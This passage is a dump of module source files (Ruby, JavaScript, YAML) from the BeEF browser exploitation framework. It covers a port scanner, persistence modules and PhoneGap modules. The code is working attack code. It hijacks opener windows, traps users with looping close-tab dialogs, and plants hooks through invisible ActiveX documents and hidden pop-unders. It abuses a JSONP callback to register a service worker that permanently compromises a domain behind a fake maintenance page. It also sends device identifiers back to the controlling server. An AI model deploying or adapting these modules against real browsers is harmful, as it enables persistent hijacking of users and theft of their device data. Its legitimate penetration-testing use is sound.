    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#\n# Port Scanner Module - javier.marcos\n# Scan ports in a given hostname, using WebSockets CORS and HTTP with img tags.\n# It uses the three methods to avoid blocked ports or Same Origin Policy.\n\nclass Port_scanner < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ipHost', 'ui_label' => 'Scan IP or Hostname', 'value' => '192.168.1.10' },\n      { 'name' => 'ports', 'ui_label' => 'Specific port(s) to scan', 'value' => 'top' },\n      { 'name' => 'closetimeout', 'ui_label' => 'Closed port timeout (ms)', 'value' => '1100' },\n      { 'name' => 'opentimeout', 'ui_label' => 'Open port timeout (ms)', 'value' => '2500' },\n      { 'name' => 'delay', 'ui_label' => 'Delay between requests (ms)', 'value' => '600' },\n      { 'name' => 'debug', 'ui_label' => 'Debug', 'value' => 'false' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['port'] = @datastore['port'] unless @datastore['port'].nil?\n    content['fail'] = 'No open ports have been found.' if content.empty?\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^ip=([\\d.]+)&port=(CORS|WebSocket|HTTP): Port (\\d+) is OPEN (.*)$/\n\n    ip = Regexp.last_match(1)\n    port = Regexp.last_match(3)\n    service = Regexp.last_match(4)\n    session_id = @datastore['beefhook']\n    proto = 'http'\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found network service [ip: #{ip}, port: #{port}]\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, ntype: service)\n    end\n  end\nend\n"
  },
  {
    "path": "modules/persistence/confirm_close_tab/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    function display_confirm(){\n        if(confirm(\"<%= @text %>\")){\n            display_confirm();\n        }\n    }\n\n    function dontleave(e){\n        e = e || window.event;\n\n        var usePopUnder = '<%= @usePopUnder %>';\n        if(usePopUnder) {\n            var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';\n            var popunder_name = Math.random().toString(36).substring(2,10);\n            beef.debug(\"[Create Pop-Under] Creating window '\" + popunder_name + \"' for '\" + popunder_url + \"'\");\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');\n            try {\n                window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();\n                window.focus();\n                beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());\n            } catch(e) {\n                beef.debug(\"[Create Pop-Under] Could not create pop-under window\");\n                beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());\n            }\n        }\n\n        if(beef.browser.isIE()){\n            e.cancelBubble = true;\n            e.returnValue = \"<%= @text %>\";\n        }else{\n            if (e.stopPropagation) {\n                e.stopPropagation();\n                e.preventDefault();\n                e.returnValue = \"<%= @text %>\";\n            }\n        }\n\n        //re-display the confirm dialog if the user clicks OK (to leave the page)\n        display_confirm();\n        return \"<%= @text %>\";\n    }\n\n    window.onbeforeunload = dontleave;\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully');\n});\n"
  },
  {
    "path": "modules/persistence/confirm_close_tab/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        confirm_close_tab:\n            enable: true\n            category: \"Persistence\"\n            name: \"Confirm Close Tab\"\n            description: \"Shows a confirm dialog to the user when they try to close a tab. If they click yes, re-display the confirmation dialog. This doesn't work on Opera < v12. In Chrome you can't keep opening confirm dialogs.\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify: [\"ALL\"]\n                not_working: [\"O\"]\n"
  },
  {
    "path": "modules/persistence/confirm_close_tab/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Confirm_close_tab < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'text',\n      'description' => 'Specifies message to display to the user.',\n      'type' => 'textarea',\n      'ui_label' => 'Confirm text',\n      'value' => 'Are you sure you want to navigate away from this page?\\n\\n There is currently a request to the server pending. You will lose recent changes by navigating away.\\n\\n Press OK to continue, or Cancel to stay on the current page.',\n      'width' => '400px'\n    },\n     {\t'name' => 'usePopUnder',\n       'type' => 'checkbox',\n       'ui_label' => 'Create a pop-under window on user\\'s tab closing',\n       'checked' => 'true' }]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/persistence/hijack_opener/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var referrer = document.referrer;\n  try {\n    beef.debug(\"[Hijack Opener] Trying to hijack: \" + referrer);\n    window.opener.location = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + '/iframe#' + referrer;\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"success=hijacked window.opener.location\", beef.are.status_success());\n  } catch (e) {\n    beef.debug(\"[Hijack Opener] could not hijack opener window: \"+e.message)\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=could not hijack opener window: \" + e.message, beef.are.status_error());\n  }\n});\n"
  },
  {
    "path": "modules/persistence/hijack_opener/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        hijack_opener:\n            enable: true\n            category: \"Persistence\"\n            name: \"Hijack Opener Window\"\n            description: \"This module abuses window.location.opener to hijack the opening window, replacing it with a BeEF hook and 100% * 100% iframe containing the referring web page. Note that the iframe will be blank if the origin makes use of a restrictive X-Frame-Origin directive.<br/><br/>This attack will only work if the opener did not make use of the <i>noopener</i> and <i>noreferrer</i> directives. Refer to <a href='https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/'>Target=_blank - the most underestimated vulnerability ever</a> for more information.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"All\"]\n                not_working: [\"O\"]\n"
  },
  {
    "path": "modules/persistence/hijack_opener/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Hijack_opener < BeEF::Core::Command\n  def pre_send\n    config = BeEF::Core::Configuration.instance\n    hook_file = config.get('beef.http.hook_file')\n\n    src = '<html><head><title></title><style>body {padding:0;margin:0;border:0}</style></head>'\n    src << \"<body><iframe id='iframe' style='width:100%;height:100%;margin:0;padding:0;border:0'></iframe>\"\n    src << \"<script src='#{hook_file}'></script>\"\n    src << '<script>var url = window.location.hash.slice(1);'\n    src << 'if (url.match(/^https?:\\/\\//)) {'\n    src << 'document.title = url;'\n    src << 'document.getElementById(\"iframe\").src = url;'\n    src << '}</script></body></html>'\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(\n      '200',\n      { 'Content-Type' => 'text/html' },\n      src,\n      '/iframe',\n      -1\n    )\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/persistence/iframe_above/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n    beef.dom.persistentIframe();\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.');\n});\n"
  },
  {
    "path": "modules/persistence/iframe_above/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        iframe_above:\n            enable: true\n            category: \"Persistence\"\n            name: \"Create Foreground iFrame\"\n            description: \"Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link.\"\n            authors: [\"passbe\"]\n            target:\n                user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/persistence/iframe_above/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Iframe_above < BeEF::Core::Command\n  # This method is being called when a hooked browser sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/persistence/invisible_htmlfile_activex/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  try {\n    var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook;\n\n    // create HMTL document\n    beef.debug(\"[Invisible HTMLFile ActiveX] Creating HTMLFile ActiveX object\");\n    doc = new ActiveXObject(\"HtmlFile\");\n    doc.open();\n    doc.write('<html><body><script src=\"'+hook_url+'\"><\\/script></body></html>');\n    doc.close();\n\n    // Save a self-reference\n    doc.Script.doc = doc;\n \n    // Prevent IE from destroying the previous reference\n    window.open(\"\",\"_self\");\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"success=created HTMLFile ActiveX object\", beef.are.status_success());\n  } catch (e) {\n    beef.debug(\"[Invisible HTMLFile ActiveX] could not create HTMLFile ActiveX object: \"+e.message)\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=could not create HTMLFile ActiveX object: \" + e.message, beef.are.status_error());\n  }\n});\n"
  },
  {
    "path": "modules/persistence/invisible_htmlfile_activex/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        invisible_htmlfile_activex:\n            enable: true\n            category: \"Persistence\"\n            name: \"Invisible HTMLFile (ActiveX)\"\n            description: \"This module uses a <i>HTMLFile</i> ActiveX object to create an invisible HTML document containing a BeEF hook. The hook persists until the tab is closed. Internet Explorer only.<br/><br/> Based on <a href='https://www.brokenbrowser.com/zombie-alert/'>research</a> by <a href='https://twitter.com/magicmac2000'>@MagicMac2000</a>.\"\n            authors: [\"bcoles\", \"@MagicMac2000\"]\n            target:\n                working:\n                    IE:\n                        min_ver: 11\n                        max_ver: latest\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/persistence/invisible_htmlfile_activex/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Invisible_htmlfile_activex < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/persistence/jsonp_service_worker/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var scriptElem = document.createElement(\"script\");\n  var hook = encodeURIComponent(beef.net.hook);\n  var tempBody = beef.encode.base64.decode('<%= Base64.strict_encode64(@tempBody) %>').replace(/%27/g, \"%26%2339%3B\");\n  scriptElem.innerHTML = 'navigator.serviceWorker.register(\"<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27'+tempBody+'%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+hook+'%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F\")';\n  $j(\"body\").append(scriptElem);\n  beef.net.send(\"<%= @command_url %>\", <%=@command_id%>, \"result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected.\");\n});\n"
  },
  {
    "path": "modules/persistence/jsonp_service_worker/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        jsonp_service_worker:\n            enable: true\n            category: \"Persistence\"\n            name: \"JSONP Service Worker\"\n            description: \"This module will exploit an unfiltered callback parameter in a JSONP endpoint (of the same domain compromized) to ensure that BeEF will hook every time the user revisits the domain\"\n            authors: [\"clod81\"]\n            target:\n                working: [\"C\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/persistence/jsonp_service_worker/module.rb",
    "content": "class Jsonp_service_worker < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\n\n  def self.options\n    [\n      { 'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback=' },\n      { 'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users',\n        'value' => '<h3>Unplanned site maintenance, please wait a few seconds, we are almost done.</h3>' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/persistence/man_in_the_browser/command.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nbeef.execute(function() {\n\ttry{\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Browser hooked.\");\n\t\tbeef.mitb.init(\"<%= @command_url %>\", <%= @command_id %>);\n\t\tvar MITBload = setInterval(function(){\n\t\t\t\tif(beef.pageIsLoaded){\n\t\t\t\t\tclearInterval(MITBload);\n\t\t\t\t\tbeef.mitb.hook();\n\t\t\t\t}\n\t\t\t}, 100);\n\t}catch(e){\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Failed to hook browser: \" + e.message);\n\t}\n});"
  },
  {
    "path": "modules/persistence/man_in_the_browser/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        man_in_the_browser:\n            enable: true\n            category: \"Persistence\"\n            name: \"Man-In-The-Browser\"\n            description: \"This module will use a Man-In-The-Browser attack to ensure that the BeEF hook will stay until the user leaves the domain (manually changing it in the URL bar)\"\n            authors: [\"mathias\"]\n            target:\n                working: [\"ALL\"]\n                not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/persistence/man_in_the_browser/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Man_in_the_browser < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/persistence/popunder_window/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';\n  var popunder_name = Math.random().toString(36).substring(2,10);\n\n  function popunder() {\n    beef.debug(\"[Create Pop-Under] Creating window '\" + popunder_name + \"' for '\" + popunder_url + \"'\");\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');\n\n    try {\n      window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();\n      window.focus();\n      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());\n    } catch(e) {\n      beef.debug(\"[Create Pop-Under] Could not create pop-under window\");\n      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());\n    }\n\n    if (document.removeEventListener) {\n      // Every sane browser\n      document.removeEventListener(\"click\", popunder);\n    } else {\n      // IE8 and earlier\n      document.detachEvent(\"onclick\", popunder);\n    }\n  }\n\n  if ('<%= @clickjack %>' == 'on') {\n    beef.debug(\"[Create Pop-Under] Waiting for click event...\");\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Waiting for click event');\n    if (document.addEventListener) {\n      // Every sane browser\n      document.addEventListener(\"click\", popunder);\n    } else {\n      // IE8 and earlier\n      document.attachEvent(\"onclick\", popunder);\n    }\n  } else {\n    popunder();\n  }\n});\n"
  },
  {
    "path": "modules/persistence/popunder_window/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        popunder_window:\n            enable: true\n            category: \"Persistence\"\n            name: \"Create Pop Under\"\n            description: \"This module creates a new discreet pop under window with the BeEF hook included.<br><br>Another browser node will be added to the hooked browser tree.<br/><br/>Modern browsers block popups by default and warn the user the popup was blocked (unless the origin is permitted to spawn popups).<br/><br/>However, this check is bypassed for some user-initiated events such as clicking the page. Use the 'clickjack' option below to add an event handler which spawns the popup when the user clicks anywhere on the page. Running the module multiple times will spawn multiple popups for a single click event.<br/><br/>Note: mobile devices may open the new popup window on top or redirect the current window, rather than open in the background.\"\n            authors: [\"ethicalhack3r\"]\n            target:\n                user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/persistence/popunder_window/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Popunder_window < BeEF::Core::Command\n  def self.options\n    [{ 'name' => 'clickjack',\n       'ui_label' => 'Clickjack',\n       'type' => 'checkbox',\n       'checked' => false }]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/persistence/popunder_window_ie/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';\n  var popunder_name = Math.random().toString(36).substring(2,10);\n  var iframe_name = Math.random().toString(36).substring(2,10);\n\n  // Create iframe\n  var popunder_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  popunder_<%= @command_id %>.name = iframe_name;\n  popunder_<%= @command_id %>.id = iframe_name;\n\n  // Create an HtmlFile from an IFrame\n  var ax1 = new window[iframe_name].ActiveXObject(\"HtmlFile\");\n\n  // Destroy the contents of the IFrame, while keeping ax1 alive\n  // because we have a reference to it outside the IFrame itself.\n  window[iframe_name].document.open().close();\n\n  // Initialize the HtmlFile\n  ax1.open().close();\n\n  // Create a new htmlFile inside the previous one\n  var ax2 = new ax1.Script.ActiveXObject(\"HtmlFile\");\n  ax2.open().close();\n\n  // Launch popup\n  beef.debug(\"[PopUnder Window (IE)] Creating window '\" + popunder_name + \"' for '\" + popunder_url + \"'\");\n  ax2.Script.open(popunder_url, popunder_name, 'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left=' + screen.width + ',top=' + screen.height).blur();\n  window.focus();\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');\n});\n"
  },
  {
    "path": "modules/persistence/popunder_window_ie/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        popunder_window_ie:\n            enable: true\n            category: \"Persistence\"\n            name: \"Create Pop Under (IE)\"\n            description: \"This module uses a <i>HTMLFile</i> ActiveX object to bypass the popup blocker and create a popunder window containing a BeEF hook. Internet Explorer only.<br/><br/> Based on <a href='https://www.cracking.com.ar/demos/iepopups/'>PoC</a> by <a href='https://twitter.com/magicmac2000'>@MagicMac2000</a>.\"\n            authors: [\"bcoles\", \"ethicalhack3r\", \"@MagicMac2000\"]\n            target:\n                user_notify:\n                    IE:\n                        min_ver: 11\n                        max_ver: latest\n                not_working: [\"All\"]\n\n"
  },
  {
    "path": "modules/persistence/popunder_window_ie/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Popunder_window_ie < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_alert_user/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// Phonegap_alert_user\n//\nbeef.execute(function() {\n    var title = \"<%== @title %>\";\n    var message = \"<%== @message %>\";\n    var buttonName = \"<%== @buttonName %>\";\n\n   \n    function onAlert() {\n        result = \"Alert dismissed\";\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );    \n    }\n\n    navigator.notification.alert(\n        message,\n        onAlert,      \n        title,         \n\tbuttonName\n    );\n  \n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_alert_user/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   Phonegap_prompt_user\n#\nbeef:\n    module:\n        phonegap_alert_user:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Alert User\"\n            description: \"Show user an alert\"\n            authors: [\"staregate\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_alert_user/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Phonegap_prompt_user\n#\n\nclass Phonegap_alert_user < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'title',\n      'description' => 'Alert title',\n      'ui_label' => 'Title',\n      'value' => 'Beef',\n      'width' => '300px'\n    }, {\n      'name' => 'message',\n      'description' => 'Message',\n      'ui_label' => 'Message',\n      'value' => 'Game over!',\n      'width' => '300px'\n    }, {\n      'name' => 'buttonName',\n      'description' => 'Default button name',\n      'ui_label' => 'Button name',\n      'value' => 'Done',\n      'width' => '100px'\n    }]\n  end\n\n  def callback\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_beep/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// make the phone beep\n//\nbeef.execute(function() {\n    navigator.notification.beep(1);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'Beeped');\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_beep/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_beep:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Beep\"\n            description: \"Make the phone beep. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_beep/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_beep < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_check_connection/command.js",
    "content": "/*\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nbeef.execute(function() {\n    var connection_type;\n\n    getConnectionType = function() {\n        var states = {};\n        states[Connection.UNKNOWN] = 'Unknown connection';\n        states[Connection.ETHERNET] = 'Ethernet connection';\n        states[Connection.WIFI] = 'WiFi connection';\n        states[Connection.CELL_2G] = 'Cell 2G connection';\n        states[Connection.CELL_3G] = 'Cell 3G connection';\n        states[Connection.CELL_4G] = 'Cell 4G connection';\n        states[Connection.NONE] = 'No network connection';\n        return states[navigator.network.connection.type];\n    }\n\n    try {\n      connection_type = getConnectionType();\n    } catch(e) {\n      connection_type = \"Unable to determine connection type.\"\n    }\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"connection_type=\"+connection_type);\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_check_connection/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_check_connection:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Check Connection\"\n            description: \"Find out the network connection type e.g. Wifi, 3G. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_check_connection/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_check_connection < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_detect/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// detect phonegap\n//\nbeef.execute(function() {\n\n    var phonegap_details;\n\n    try {\n        phonegap_details = \"\"\n        + \" name: \" + device.name \n        + \" phonegap api: \" + device.phonegap\n        + \" cordova api: \" + device.cordova\n        + \" platform: \" + device.platform\n        + \" uuid: \" + device.uuid\n        + \" version: \" + device.version\n\t+ \" model: \" + device.model;\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"phonegap=\" + phonegap_details, beef.are.status_success());\n    } catch(e) {\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=unable to detect phonegap\", beef.are.status_error());\n    }\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_detect/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_detect:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Detect PhoneGap\"\n            description: \"Detects if the PhoneGap API is present.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_detect/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_detect < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['phonegap'] = @datastore['phonegap']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_file_upload/command.js",
